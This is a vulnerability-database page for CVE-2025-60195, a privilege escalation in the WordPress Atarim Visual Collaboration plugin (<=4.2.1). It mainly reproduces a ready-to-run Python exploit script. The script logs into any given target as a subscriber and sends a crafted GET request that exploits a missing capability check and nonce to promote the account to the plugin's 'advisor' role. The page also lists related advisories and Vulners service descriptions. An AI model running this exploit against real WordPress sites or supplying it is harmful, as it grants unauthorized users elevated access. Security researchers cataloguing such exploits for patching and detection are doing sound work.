Lucene search
+L

📄 WordPress Atarim Visual Collaboration 4.2.1 Privilege Escalation

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 26 Views

WordPress Atarim Visual Collaboration <=4.2.1 lets a logged-in subscriber escalate to advisor via a crafted URL.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-60195
20 Jan 202620:13
circl
CNNVD
WordPress plugin Atarim 安全漏洞
6 Nov 202500:00
cnnvd
CVE
CVE-2025-60195
6 Nov 202515:54
cve
Cvelist
CVE-2025-60195 WordPress Atarim plugin <= 4.2.1 - Privilege Escalation vulnerability
6 Nov 202515:54
cvelist
EUVD
EUVD-2025-38120
6 Nov 202518:32
euvd
NVD
CVE-2025-60195
6 Nov 202516:16
nvd
Patchstack
WordPress Atarim plugin <= 4.2.1 - Privilege Escalation vulnerability
27 Jul 202516:00
patchstack
Positive Technologies
PT-2025-45268
6 Nov 202500:00
ptsecurity
RedhatCVE
CVE-2025-60195
7 Nov 202517:33
redhatcve
Vulnrichment
CVE-2025-60195 WordPress Atarim plugin <= 4.2.1 - Privilege Escalation vulnerability
6 Nov 202515:54
vulnrichment
Rows per page
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Atarim Visual Collaboration <= 4.2.1 - Authenticated (Subscriber+) Privilege Escalation to Advisor
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/atarim-visual-collaboration/
    # Software Link: https://downloads.wordpress.org/plugin/atarim-visual-collaboration.4.1.3.zip
    # Version: 4.1.3 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-60195
    """
    Atarim Visual Collaboration <= 4.2.1: new_license_activation() is hooked on 'init' and runs on any
    URL. In the vulnerable version it does update_user_meta(current_user, 'wpf_user_type', 'advisor')
    with NO capability check and NO nonce (atarim-visual-collaboration.php:337), so any logged-in
    low-privilege user promotes themselves to the plugin's 'advisor' collaboration role by requesting
    any page with ?atarim_response=x&wpf_site_id=x.
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--user", default="lp_subscriber")
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        a = ap.parse_args(); base = a.target.rstrip("/")
        s = requests.Session(); s.verify = False
        s.get(base + "/wp-login.php"); s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        s.post(base + "/wp-login.php", data={"log": a.user, "pwd": a.pw, "wp-submit": "Log In",
               "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        print(f"[*] Target: {base} | logged in as {a.user}")
        r = s.get(base + "/", params={"atarim_response": "x", "wpf_site_id": "x"}, timeout=20)
        print(f"[*] trigger GET /?atarim_response=x&wpf_site_id=x -> HTTP {r.status_code}")
        print("\n[+] Privilege-escalation request sent. Verify: user meta wpf_user_type == 'advisor'.")
        print("    (wp user meta get %s wpf_user_type)" % a.user)
        return 0
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.19.8
EPSS0.00384
SSVC
26